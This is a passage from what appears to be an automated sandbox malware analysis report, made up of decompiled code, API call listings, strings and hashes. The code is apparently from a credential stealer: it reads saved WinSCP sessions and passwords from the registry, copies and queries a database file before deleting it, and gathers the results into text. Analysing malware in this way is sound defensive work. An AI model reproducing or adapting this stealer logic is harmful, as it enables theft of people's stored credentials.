								_t209 = L00418D50( &_v2332,  &_v1308, _t328,  &_v3524,  &_v3356);
								_v8 = 6;
								E00405040(_t209,  &_v3384);
								_v8 = 5;
								if(_v3504 >= 0x10) {
									_push(_v3524);
									E00429B0B();
									_t308 = _t308 + 4;
								}
								_t211 = _v3384;
								_v3504 = 0xf;
								_v3508 = _t229;
								_v3524 = _t229;
								if(_v3364 < 0x10) {
									_t211 =  &_v3384;
								}
								lstrcatA(_v3544, _t211);
								_t293 = _v3544;
							}
							lstrcatA(_t293, "\n\n");
							_t201 = _v3548 + 1;
							_v3536 = 0x104;
							_v3548 = _t201;
							_t289 = RegEnumKeyExA(_v3528, _t201,  &_v284,  &_v3536, _t229, _t229, _t229, _t229);
							L00429B30( &_v2332, _t229, _t229);
							L00429B30( &_v3384, _t229, _t229);
							_t262 =  &_v1308;
							L00429B30( &_v1308, _t229, _t229);
							_t308 = _t308 + 0x24;
							_v8 = 0xffffffff;
							if(_v3364 >= 0x10) {
								_push(_v3384);
								E00429B0B();
								_t308 = _t308 + 4;
							}
							_v3364 = 0xf;
							_v3368 = _t229;
							_v3384 = _t229;
						} while (_t289 != 0x103);
						goto L36;
					}
					RegCloseKey(_t171);
					_t171 = 0;
					_v3528 = 0;
					goto L16;
				}
			}

0x004194e3
0x004194e5
0x004194f0
0x004194f7
0x004194fc
0x004194fe
0x00419504
0x00419508
0x0041950e
0x0041951b
0x0041951f
0x00419525
0x0041952b
0x00419531
0x00419546
0x00419550
0x00419556
0x0041956b
0x00419571
0x00419586
0x0041958c
0x004195a2
0x004195ab
0x004195b3
0x004195c4
0x004195c9
0x004195e0
0x004195e6
0x004195ec
0x004195f2
0x004195fa
0x00419b62
0x00419b65
0x00419b6d
0x00419b6e
0x00419b6f
0x00419b7d
0x00419b7d
0x00419600
0x00419608
0x00419612
0x00419618
0x0041962e
0x00419633
0x00419636
0x0041963e
0x00419648
0x0041964e
0x00419654
0x00419659
0x00419664
0x00419675
0x0041967e
0x00419690
0x00419694
0x00419699
0x0041969d
0x004196ab
0x004196ad
0x004196ad
0x004196b2
0x004196b4
0x004196b4
0x004196d8
0x004196e5
0x004196ed
0x004196ee
0x004196f3
0x004196f3
0x004196f6
0x004196f8
0x00419702
0x00419708
0x00419715
0x0041971d
0x0041971e
0x00419723
0x00419723
0x0041972d
0x00419737
0x0041973d
0x0041974a
0x0041974c
0x00419752
0x00419753
0x00419758
0x00419758
0x0041975b
0x00419762
0x0041976c
0x00419772
0x0041977e
0x00419786
0x00419787
0x0041978c
0x0041978c
0x0041978f
0x00419795
0x0041979f
0x004197a5
0x004197b1
0x004197c6
0x004197c8
0x004197cb
0x004197d1
0x004197d1
0x00000000
0x004197b3
0x004197b5
0x004197d7
0x004197dd
0x004197de
0x004197e0
0x004197e1
0x004197e6
0x004197f3
0x00000000
0x00000000
0x00419803
0x0041981b
0x00419b51
0x00419b51
0x00419b59
0x00419b5c
0x00419b5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00419821
0x00419821
0x00419827
0x0041982d
0x00419835
0x00419841
0x00419847
0x0041984e
0x00419854
0x00419879
0x00419887
0x0041988d
0x004198ba
0x004198c0
0x004198c6
0x004198c8
0x00419933
0x004198ca
0x004198d7
0x004198dc
0x004198e7
0x004198e9
0x004198e9
0x004198ed
0x004198f3
0x00419900
0x00419908
0x00419909
0x0041990e
0x0041990e
0x00419913
0x0041991d
0x00419923
0x00419929
0x00419929
0x0041993f
0x00419945
0x0041994d
0x00419953
0x00419979
0x00419987
0x0041998d
0x00419997
0x0041999d
0x004199b2
0x004199b9
0x004199d0
0x004199dc
0x004199e2
0x004199ea
0x004199fc
0x00419a02
0x00419a04
0x00419a24
0x00419a31
0x00419a35
0x00419a3f
0x00419a49
0x00419a51
0x00419a52
0x00419a57
0x00419a57
0x00419a5a
0x00419a60
0x00419a6a
0x00419a70
0x00419a7c
0x00419a7e
0x00419a7e
0x00419a8c
0x00419a92
0x00419a92
0x00419a9e
0x00419ac1
0x00419ac5
0x00419acf
0x00419adc
0x00419ae6
0x00419af7
0x00419b00
0x00419b08
0x00419b0d
0x00419b10
0x00419b1e
0x00419b26
0x00419b27
0x00419b2c
0x00419b2c
0x00419b2f
0x00419b39
0x00419b3f
0x00419b45
0x00000000
0x00419821
0x004197b8
0x004197be
0x004197c0
0x00000000
0x004197c0

APIs

_memset.LIBCMT ref: 00419531
_memset.LIBCMT ref: 00419556
_memset.LIBCMT ref: 00419571
_memset.LIBCMT ref: 0041958C
_memset.LIBCMT ref: 004195A2
_memset.LIBCMT ref: 004195B3
_memset.LIBCMT ref: 004195C4
RegOpenKeyExW.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 004195F2
_strlen.LIBCMT ref: 0041961E
_strlen.LIBCMT ref: 00419654

Part of subcall function 004205E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 0042060A
Part of subcall function 004205E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00420646
Part of subcall function 004205E0: _wcslen.LIBCMT ref: 00420660

RegGetValueW.ADVAPI32(?,00000000,?,00000010,00000000,00000000,?,0509CC20,00000000,00000000), ref: 004196D0
RegCloseKey.ADVAPI32(?,?), ref: 004197B8
RegCloseKey.ADVAPI32(?,?), ref: 004197CB
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 00419813
lstrcatA.KERNEL32(?,004485E8), ref: 00419827
lstrcatA.KERNEL32(?,0509CDE8), ref: 00419835
lstrcatA.KERNEL32(?,004485E8), ref: 00419841
lstrcatA.KERNEL32(?,050985C0), ref: 0041984E
RegGetValueA.ADVAPI32(?,?,0509CD88,00000002,00000000,?,?), ref: 00419879
lstrcatA.KERNEL32(?,?), ref: 00419887
RegGetValueA.ADVAPI32(?,?,0509CC68,0000FFFF,00000000,0509AB00,?), ref: 004198C0
lstrcatA.KERNEL32(?,00000000,0509AB00), ref: 004198ED
lstrcatA.KERNEL32(?,:22), ref: 00419933
lstrcatA.KERNEL32(?,004485E8), ref: 0041993F
lstrcatA.KERNEL32(?,0509D100), ref: 0041994D
RegGetValueA.ADVAPI32(?,?,0509CD28,00000002,00000000,?,?), ref: 00419979
lstrcatA.KERNEL32(?,?), ref: 00419987
RegGetValueA.ADVAPI32(?,?,0509CC80,00000002,00000000,?,?), ref: 004199D0
lstrcatA.KERNEL32(?,004485E8), ref: 004199DC
lstrcatA.KERNEL32(?,0509CCC8), ref: 004199EA
StrCmpCA.SHLWAPI(?,004485E7), ref: 004199FC
lstrcatA.KERNEL32(?,?,?,?), ref: 00419A8C
lstrcatA.KERNEL32(?,0044A994), ref: 00419A9E
RegEnumKeyExA.ADVAPI32(?,?,?,00000104,00000000,00000000,00000000,00000000), ref: 00419AD5
_memset.LIBCMT ref: 00419AE6
_memset.LIBCMT ref: 00419AF7
_memset.LIBCMT ref: 00419B08
RegCloseKey.ADVAPI32(?), ref: 00419B5C

Strings

Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 004197E1
:22, xrefs: 0041992D
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 004195D6

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$Value$Close$ByteCharEnumMultiWide_strlen$Open_wcslen
String ID: :22$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions
API String ID: 2219404389-2123096617
Opcode ID: 78467199c159d4a26576e482f83a1d2909897d15c6f156be7146321186bd258e
Instruction ID: 8edef953e6e650472b22d7e48ecc0fc25e84f17466e9e4737561dac214c2e5b2
Opcode Fuzzy Hash: 78467199c159d4a26576e482f83a1d2909897d15c6f156be7146321186bd258e
Instruction Fuzzy Hash: 3D024EB1901228AFDB21DF94DC95BEAB778BF44345F0041EBE509A7241EA34AF84CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0F0 Relevance: 70.8, APIs: 47, Instructions: 289
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E0040B0F0(CHAR* __ecx, void* __edi) {
				signed int _v8;
				char _v1012;
				char _v2012;
				char _v3012;
				char _v4012;
				char _v5012;
				char _v6012;
				char _v7012;
				char _v8012;
				char _v9012;
				CHAR* _v9016;
				void* __ebx;
				void* __esi;
				signed int _t74;
				CHAR* _t88;
				CHAR* _t93;
				signed char _t126;
				signed char _t127;
				CHAR* _t155;
				CHAR* _t179;
				CHAR* _t181;
				void* _t196;
				CHAR* _t197;
				signed int _t198;
				void* _t199;
				char* _t208;
				CHAR* _t218;
				CHAR* _t220;

				_t196 = __edi;
				E00438A70(0x2338);
				_t74 =  *0x450664; // 0x30e242aa
				_v8 = _t74 ^ _t198;
				_t197 = __ecx;
				L00429B30( &_v4012, 0, 0x3e8);
				L00429B30( &_v6012, 0, 0x3e8);
				L00429B30( &_v7012, 0, 0x3e8);
				L00429B30( &_v8012, 0, 0x3e8);
				L00429B30( &_v9012, 0, 0x3e8);
				L00429B30( &_v1012, 0, 0x3e8);
				L00429B30( &_v3012, 0, 0x3e8);
				L00429B30( &_v2012, 0, 0x3e8);
				L00429B30( &_v5012, 0, 0x3e8);
				_t88 =  *0x4531b8; // 0x50986f0
				_t208 = _t199 + 0x6c;
				lstrcatA( &_v4012, _t88);
				_t179 =  *0x452d24; // 0x509b878
				lstrcatA( &_v6012, _t179);
				_t155 =  *0x453008; // 0x5098710
				lstrcatA( &_v7012, _t155);
				_t93 =  *0x452a5c; // 0x5098530
				lstrcatA( &_v8012, _t93);
				_t181 =  *0x452efc; // 0x509b890
				lstrcatA( &_v9012, _t181);
				lstrcatA( &_v1012, _t197);
				lstrcatA( &_v1012, "\\");
				lstrcatA( &_v1012,  &_v6012);
				lstrcatA( &_v1012, "\\");
				lstrcatA( &_v1012,  &_v7012);
				lstrcatA( &_v1012, "\\");
				lstrcatA( &_v1012,  &_v8012);
				lstrcatA( &_v3012, _t197);
				lstrcatA( &_v3012, "\\");
				lstrcatA( &_v3012,  &_v6012);
				lstrcatA( &_v3012, "\\");
				lstrcatA( &_v3012,  &_v7012);
				lstrcatA( &_v2012, _t197);
				lstrcatA( &_v2012, "\\");
				lstrcatA( &_v2012,  &_v9012);
				lstrcatA( &_v2012, "\\");
				lstrcatA( &_v2012,  &_v8012);
				lstrcatA( &_v5012, _t197);
				lstrcatA( &_v5012, "\\");
				lstrcatA( &_v5012,  &_v9012);
				_t126 = GetFileAttributesA( &_v1012); // executed
				if(_t126 != 0xffffffff && (_t126 & 0x00000010) == 0) {
					_t220 = _t208 - 0x1c;
					_t197 = _t220;
					_v9016 = _t220;
					_t197[0x14] = 0xf;
					_t197[0x10] = 0;
					_t149 =  &_v3012;
					 *_t197 = 0;
					E004050C0(_t197,  &_v4012, L00429C90( &_v4012));
					L0040AE70( &_v3012);
					_t208 =  &(_t220[0x20]);
				}
				_t127 = GetFileAttributesA( &_v2012); // executed
				if(_t127 != 0xffffffff && (_t127 & 0x00000010) == 0) {
					_t218 = _t208 - 0x1c;
					_t197 = _t218;
					_v9016 = _t218;
					_t197[0x14] = 0xf;
					_t197[0x10] = 0;
					_t149 =  &_v5012;
					 *_t197 = 0;
					E004050C0(_t197,  &_v4012, L00429C90( &_v4012));
					L0040AE70( &_v5012);
					_t208 =  &(_t218[0x20]);
				}
				L00429B30( &_v4012, 0, 0x3e8);
				L00429B30( &_v6012, 0, 0x3e8);
				L00429B30( &_v7012, 0, 0x3e8);
				L00429B30( &_v8012, 0, 0x3e8);
				L00429B30( &_v9012, 0, 0x3e8);
				L00429B30( &_v1012, 0, 0x3e8);
				L00429B30( &_v3012, 0, 0x3e8);
				L00429B30( &_v2012, 0, 0x3e8);
				return E00429B16(L00429B30( &_v5012, 0, 0x3e8), _t149, _v8 ^ _t198,  &_v3012, _t196, _t197);
			}

0x0040b0f0
0x0040b0f8
0x0040b0fd
0x0040b104
0x0040b117
0x0040b119
0x0040b12f
0x0040b145
0x0040b15b
0x0040b171
0x0040b187
0x0040b19d
0x0040b1b3
0x0040b1c9
0x0040b1ce
0x0040b1d3
0x0040b1de
0x0040b1e4
0x0040b1f2
0x0040b1f8
0x0040b206
0x0040b20c
0x0040b219
0x0040b21f
0x0040b22d
0x0040b23b
0x0040b24d
0x0040b261
0x0040b273
0x0040b287
0x0040b299
0x0040b2ad
0x0040b2bb
0x0040b2cd
0x0040b2e1
0x0040b2f3
0x0040b307
0x0040b315
0x0040b327
0x0040b33b
0x0040b34d
0x0040b361
0x0040b36f
0x0040b381
0x0040b395
0x0040b3a2
0x0040b3ab
0x0040b3b1
0x0040b3b4
0x0040b3bc
0x0040b3c2
0x0040b3c9
0x0040b3d1
0x0040b3d7
0x0040b3ec
0x0040b3f1
0x0040b3f6
0x0040b3f6
0x0040b400
0x0040b409
0x0040b40f
0x0040b412
0x0040b41a
0x0040b420
0x0040b427
0x0040b42f
0x0040b435
0x0040b44a
0x0040b44f
0x0040b454
0x0040b454
0x0040b465
0x0040b47b
0x0040b491
0x0040b4a7
0x0040b4bd
0x0040b4d3
0x0040b4e9
0x0040b4ff
0x0040b52c

APIs

_memset.LIBCMT ref: 0040B119
_memset.LIBCMT ref: 0040B12F
_memset.LIBCMT ref: 0040B145
_memset.LIBCMT ref: 0040B15B
_memset.LIBCMT ref: 0040B171
_memset.LIBCMT ref: 0040B187
_memset.LIBCMT ref: 0040B19D
_memset.LIBCMT ref: 0040B1B3
_memset.LIBCMT ref: 0040B1C9
lstrcatA.KERNEL32(?,050986F0), ref: 0040B1DE
lstrcatA.KERNEL32(?,0509B878), ref: 0040B1F2
lstrcatA.KERNEL32(?,05098710), ref: 0040B206
lstrcatA.KERNEL32(?,05098530), ref: 0040B219
lstrcatA.KERNEL32(?,0509B890), ref: 0040B22D
lstrcatA.KERNEL32(?), ref: 0040B23B
lstrcatA.KERNEL32(?,004485EC), ref: 0040B24D
lstrcatA.KERNEL32(?,?), ref: 0040B261
lstrcatA.KERNEL32(?,004485EC), ref: 0040B273
lstrcatA.KERNEL32(?,?), ref: 0040B287
lstrcatA.KERNEL32(?,004485EC), ref: 0040B299
lstrcatA.KERNEL32(?,?), ref: 0040B2AD
lstrcatA.KERNEL32(?), ref: 0040B2BB
lstrcatA.KERNEL32(?,004485EC), ref: 0040B2CD
lstrcatA.KERNEL32(?,?), ref: 0040B2E1
lstrcatA.KERNEL32(?,004485EC), ref: 0040B2F3
lstrcatA.KERNEL32(?,?), ref: 0040B307
lstrcatA.KERNEL32(?), ref: 0040B315
lstrcatA.KERNEL32(?,004485EC), ref: 0040B327
lstrcatA.KERNEL32(?,?), ref: 0040B33B
lstrcatA.KERNEL32(?,004485EC), ref: 0040B34D
lstrcatA.KERNEL32(?,?), ref: 0040B361
lstrcatA.KERNEL32(?), ref: 0040B36F
lstrcatA.KERNEL32(?,004485EC), ref: 0040B381
lstrcatA.KERNEL32(?,?), ref: 0040B395
GetFileAttributesA.KERNELBASE(?), ref: 0040B3A2
_strlen.LIBCMT ref: 0040B3DA

Part of subcall function 0040AE70: GetProcessHeap.KERNEL32(00000000,0098967F,30E242AA), ref: 0040AEAB
Part of subcall function 0040AE70: RtlAllocateHeap.NTDLL(00000000), ref: 0040AEB2
Part of subcall function 0040AE70: wsprintfA.USER32 ref: 0040AECB
Part of subcall function 0040AE70: FindFirstFileA.KERNEL32(?,?), ref: 0040AEE2

GetFileAttributesA.KERNELBASE(?), ref: 0040B400
_strlen.LIBCMT ref: 0040B438
_memset.LIBCMT ref: 0040B465
_memset.LIBCMT ref: 0040B47B
_memset.LIBCMT ref: 0040B491
_memset.LIBCMT ref: 0040B4A7
_memset.LIBCMT ref: 0040B4BD
_memset.LIBCMT ref: 0040B4D3
_memset.LIBCMT ref: 0040B4E9
_memset.LIBCMT ref: 0040B4FF
_memset.LIBCMT ref: 0040B515

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$File$AttributesHeap_strlen$AllocateFindFirstProcesswsprintf
String ID:
API String ID: 1018872452-0
Opcode ID: b5e22fb4386e6652a4c8dd295a33af283c4956848e149e2acb7788b812d919f1
Instruction ID: 616e6925d3bc6e033283a7559600ed264347f186c3dc71d4d78ad4a7540157e5
Opcode Fuzzy Hash: b5e22fb4386e6652a4c8dd295a33af283c4956848e149e2acb7788b812d919f1
Instruction Fuzzy Hash: 51B16172D10318ABD725EB60EC45FEA7738BB04746F4405ADF209660C2EB79EB448F99

Uniqueness

Uniqueness Score: -1.00%

Function 00414E40 Relevance: 68.5, APIs: 38, Strings: 1, Instructions: 276
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E00414E40(CHAR* __ecx, CHAR* __edx, CHAR* __esi, CHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				CHAR* _v8;
				char _v16;
				signed int _v20;
				char _v284;
				intOrPtr _v292;
				CHAR* _v296;
				CHAR* _v312;
				char _v316;
				CHAR* _v320;
				char _v324;
				CHAR* _v328;
				CHAR* _v332;
				intOrPtr _v336;
				void* __ebx;
				void* __edi;
				signed int _t58;
				signed int _t59;
				signed int _t69;
				void* _t76;
				int _t77;
				void* _t79;
				void* _t84;
				CHAR* _t85;
				void* _t88;
				CHAR** _t92;
				CHAR* _t109;
				void* _t112;
				CHAR* _t126;
				CHAR* _t131;
				void* _t132;
				CHAR* _t150;
				CHAR* _t152;
				CHAR* _t153;
				intOrPtr _t154;
				CHAR* _t156;
				CHAR* _t164;
				CHAR* _t165;
				intOrPtr _t166;
				void* _t169;
				void* _t170;
				intOrPtr _t171;
				void* _t172;
				CHAR* _t173;
				CHAR* _t174;
				signed int _t175;
				void* _t176;
				void* _t180;
				void* _t181;
				void* _t182;
				void* _t187;
				signed int _t188;

				_t174 = __esi;
				_push(0xffffffff);
				_push(0x43de6b);
				_push( *[fs:0x0]);
				_t58 =  *0x450664; // 0x30e242aa
				_t59 = _t58 ^ _t175;
				_t188 = _t59;
				_v20 = _t59;
				_push(_t169);
				_push(_t59);
				 *[fs:0x0] =  &_v16;
				_v320 = __ecx;
				_v332 = _a4;
				_v328 = __edx;
				_v336 = _a12;
				L00429B30( &_v284, 0, 0x104);
				_t156 =  *0x453058; // 0x50987d8
				lstrcatA( &_v284, _t156);
				_t131 = E0042A0BB(_t156, _t169, __esi, 0x1a);
				 *_t131 = 0;
				L0042D41F(GetTickCount());
				_t180 = _t176 - 0x144 + 0x14;
				_t170 = 0x1a;
				do {
					_t69 = L0042D431(_t188);
					asm("cdq");
					_push(_t69 % 0xa);
					_push(_t131);
					wsprintfA(_t131, "%s%d");
					_t180 = _t180 + 0x10;
					_t170 = _t170 - 1;
				} while (_t170 != 0);
				_t131[0x1a] = 0;
				lstrcatA( &_v284, _t131);
				CopyFileA(_v320,  &_v284, 1);
				_t171 =  *0x452e58; // 0x5088c20
				_t159 =  &_v324;
				_t76 =  *0x453304( &_v284,  &_v324); // executed
				_t181 = _t180 + 8;
				if(_t76 == 0) {
					_t79 =  *0x4532b8(_v324, _t171, 0xffffffff,  &_v316, _t76); // executed
					_t182 = _t181 + 0x14;
					if(_t79 == 0) {
						_t84 =  *0x4532d4(_v316);
						_t182 = _t182 + 4;
						if(_t84 == 0x64) {
							do {
								_t85 =  *0x4532f4(_v316, 0);
								_v320 = _t85;
								_t173 =  *0x4532f4(_v316, 1);
								_t88 =  *0x4532e0(_v316, 2, _a8, _v336);
								L00414CB0( &_v312,  *0x4532e8(), _t88, _v316, 2);
								_t187 = _t182 + 0x28;
								_v8 = 0;
								_t92 = _v312;
								if(_v292 < 0x10) {
									_t92 =  &_v312;
								}
								_push(0x4485e7);
								_push(_t92);
								if( *0x453510() != 0) {
									lstrcatA(_t174, "\n");
									_t164 =  *0x452e98; // 0x5098750
									lstrcatA(_t174, _t164);
									lstrcatA(_t174, _v328);
									lstrcatA(_t174, " [");
									lstrcatA(_t174, _v332);
									lstrcatA(_t174, "]\n");
									_t165 =  *0x4531a0; // 0x50985c0
									lstrcatA(_t174, _t165);
									lstrcatA(_t174, _v320);
									lstrcatA(_t174, "\n");
									_t150 =  *0x452c5c; // 0x509d100
									lstrcatA(_t174, _t150);
									lstrcatA(_t174, _t173);
									lstrcatA(_t174, "\n");
									_t166 =  *0x45315c; // 0x509ccc8
									_push(_t166);
									goto L11;
								} else {
									_push(0x4485e7);
									_push(_t173);
									if( *0x453510() != 0) {
										lstrcatA(_t174, "\n");
										_t152 =  *0x452e98; // 0x5098750
										lstrcatA(_t174, _t152);
										lstrcatA(_t174, _v328);
										lstrcatA(_t174, " [");
										lstrcatA(_t174, _v332);
										lstrcatA(_t174, "]\n");
										_t153 =  *0x4531a0; // 0x50985c0
										lstrcatA(_t174, _t153);
										lstrcatA(_t174, _v320);
										lstrcatA(_t174, "\n");
										_t126 =  *0x452c5c; // 0x509d100
										lstrcatA(_t174, _t126);
										lstrcatA(_t174, _t173);
										lstrcatA(_t174, "\n");
										_t154 =  *0x45315c; // 0x509ccc8
										_push(_t154);
										L11:
										lstrcatA(_t174, ??);
										_t109 = _v312;
										if(_v292 < 0x10) {
											_t109 =  &_v312;
										}
										lstrcatA(_t174, _t109);
										lstrcatA(_t174, "\n\n");
									}
								}
								_v8 = 0xffffffff;
								if(_v292 >= 0x10) {
									_push(_v312);
									E00429B0B();
									_t187 = _t187 + 4;
								}
								_v292 = 0xf;
								_v296 = 0;
								_v312 = 0;
								_t112 =  *0x4532d4(_v316);
								_t182 = _t187 + 4;
							} while (_t112 == 0x64);
						}
					}
					_t159 = _v316;
					 *0x4532d8(_v316);
					 *0x453308(_v324);
				}
				_t77 = DeleteFileA( &_v284); // executed
				 *[fs:0x0] = _v16;
				_pop(_t172);
				_pop(_t132);
				return E00429B16(_t77, _t132, _v20 ^ _t175, _t159, _t172, _t174);
			}

0x00414e40
0x00414e43
0x00414e45
0x00414e50
0x00414e57
0x00414e5c
0x00414e5c
0x00414e5e
0x00414e62
0x00414e63
0x00414e67
0x00414e75
0x00414e7b
0x00414e8d
0x00414e93
0x00414e99
0x00414e9e
0x00414eaf
0x00414ebc
0x00414ec1
0x00414ecb
0x00414ed0
0x00414ed3
0x00414ed8
0x00414ed8
0x00414edd
0x00414ee5
0x00414ee6
0x00414eed
0x00414ef3
0x00414ef6
0x00414ef6
0x00414f01
0x00414f05
0x00414f1b
0x00414f21
0x00414f27
0x00414f35
0x00414f3b
0x00414f40
0x00414f58
0x00414f5e
0x00414f63
0x00414f70
0x00414f76
0x00414f7c
0x00414f82
0x00414f8b
0x00414f9a
0x00414fb2
0x00414fbf
0x00414fe3
0x00414fe8
0x00414feb
0x00414ff2
0x00415003
0x00415005
0x00415005
0x0041500b
0x00415010
0x00415019
0x004150dc
0x004150e2
0x004150ea
0x004150f8
0x00415104
0x00415112
0x0041511e
0x00415124
0x0041512c
0x0041513a
0x00415146
0x0041514c
0x00415154
0x0041515c
0x00415168
0x0041516e
0x00415174
0x00000000
0x0041501f
0x0041501f
0x00415024
0x0041502d
0x00415039
0x0041503f
0x00415047
0x00415055
0x00415061
0x0041506f
0x0041507b
0x00415081
0x00415089
0x00415097
0x004150a3
0x004150a9
0x004150b0
0x004150b8
0x004150c4
0x004150ca
0x004150d0
0x00415175
0x00415176
0x0041517c
0x00415188
0x0041518a
0x0041518a
0x00415192
0x0041519e
0x0041519e
0x0041502d
0x004151a4
0x004151b1
0x004151b9
0x004151ba
0x004151bf
0x004151bf
0x004151c9
0x004151d3
0x004151dd
0x004151e4
0x004151ea
0x004151ed
0x00414f82
0x00414f7c
0x004151f6
0x004151fd
0x0041520d
0x00415213
0x0041521d
0x00415226
0x0041522e
0x0041522f
0x0041523d

APIs

_memset.LIBCMT ref: 00414E99
lstrcatA.KERNEL32(?,050987D8,30E242AA,?,?), ref: 00414EAF
_malloc.LIBCMT ref: 00414EB7

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetTickCount.KERNEL32 ref: 00414EC4

Part of subcall function 0042D41F: __getptd.LIBCMT ref: 0042D424

_rand.LIBCMT ref: 00414ED8

Part of subcall function 0042D431: __getptd.LIBCMT ref: 0042D431

wsprintfA.USER32 ref: 00414EED
lstrcatA.KERNEL32(?,00000000), ref: 00414F05
CopyFileA.KERNEL32(?,?,00000001), ref: 00414F1B
StrCmpCA.SHLWAPI(?,004485E7), ref: 00415011
StrCmpCA.SHLWAPI(00000000,004485E7), ref: 00415025
lstrcatA.KERNEL32(?,004485E8), ref: 00415039
lstrcatA.KERNEL32(?,05098750), ref: 00415047
lstrcatA.KERNEL32(?,?), ref: 00415055
lstrcatA.KERNEL32(?,0044A998), ref: 00415061
lstrcatA.KERNEL32(?,?), ref: 0041506F
lstrcatA.KERNEL32(?,0044A99C), ref: 0041507B
lstrcatA.KERNEL32(?,050985C0), ref: 00415089
lstrcatA.KERNEL32(?,?), ref: 00415097
lstrcatA.KERNEL32(?,004485E8), ref: 004150A3
lstrcatA.KERNEL32(?,0509D100), ref: 004150B0
lstrcatA.KERNEL32(?,00000000), ref: 004150B8
lstrcatA.KERNEL32(?,004485E8), ref: 004150C4
lstrcatA.KERNEL32(?,0509CCC8), ref: 00415176
lstrcatA.KERNEL32(?,?), ref: 00415192
lstrcatA.KERNEL32(?,0044A994), ref: 0041519E
DeleteFileA.KERNEL32(?), ref: 0041521D

Strings

%s%d, xrefs: 00414EE7

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$File__getptd$AllocateCopyCountDeleteHeapTick_malloc_memset_randwsprintf
String ID: %s%d
API String ID: 2973873176-1110647743
Opcode ID: 1de862651c0dc311cc6315886638bd62d19abfb0a6255c5310e9b2ff873be89b
Instruction ID: 116dd847f3ca0b9303a75231330db204405b7f20496b2c7d7c38c4e0abb590c6
Opcode Fuzzy Hash: 1de862651c0dc311cc6315886638bd62d19abfb0a6255c5310e9b2ff873be89b
Instruction Fuzzy Hash: 7DA19E71A00714ABD7229F60DD49FEE7779FB4A347F0000AAF50992252DB389B41CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004157E0 Relevance: 58.0, APIs: 27, Strings: 6, Instructions: 268
stringmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E004157E0(intOrPtr __ecx, intOrPtr __edx, CHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v284;
				char _v548;
				intOrPtr _v556;
				char _v560;
				char _v576;
				CHAR* _v580;
				char _v584;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr* _v604;
				intOrPtr _v608;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				signed int _t73;
				CHAR* _t78;
				signed int _t83;
				void* _t93;
				int _t95;
				long _t97;
				void* _t101;
				void* _t103;
				int _t104;
				CHAR* _t108;
				CHAR* _t109;
				CHAR* _t111;
				void* _t126;
				CHAR* _t128;
				void* _t133;
				CHAR* _t136;
				void* _t137;
				intOrPtr* _t154;
				void* _t181;
				void* _t182;
				void* _t183;
				void* _t185;
				CHAR* _t186;
				intOrPtr _t187;
				void* _t188;
				signed int _t192;
				void* _t193;
				void* _t197;
				void* _t199;
				void* _t200;
				void* _t203;
				void* _t206;
				signed int _t207;

				_push(0xffffffff);
				_push(0x43ec1b);
				_push( *[fs:0x0]);
				_t72 =  *0x450664; // 0x30e242aa
				_t73 = _t72 ^ _t192;
				_t207 = _t73;
				_v20 = _t73;
				_push(_t185);
				_push(_t181);
				_push(_t73);
				 *[fs:0x0] =  &_v16;
				_t136 = _a4;
				_v608 = __edx;
				_v600 = _a8;
				_v596 = __ecx;
				_v592 = _a12;
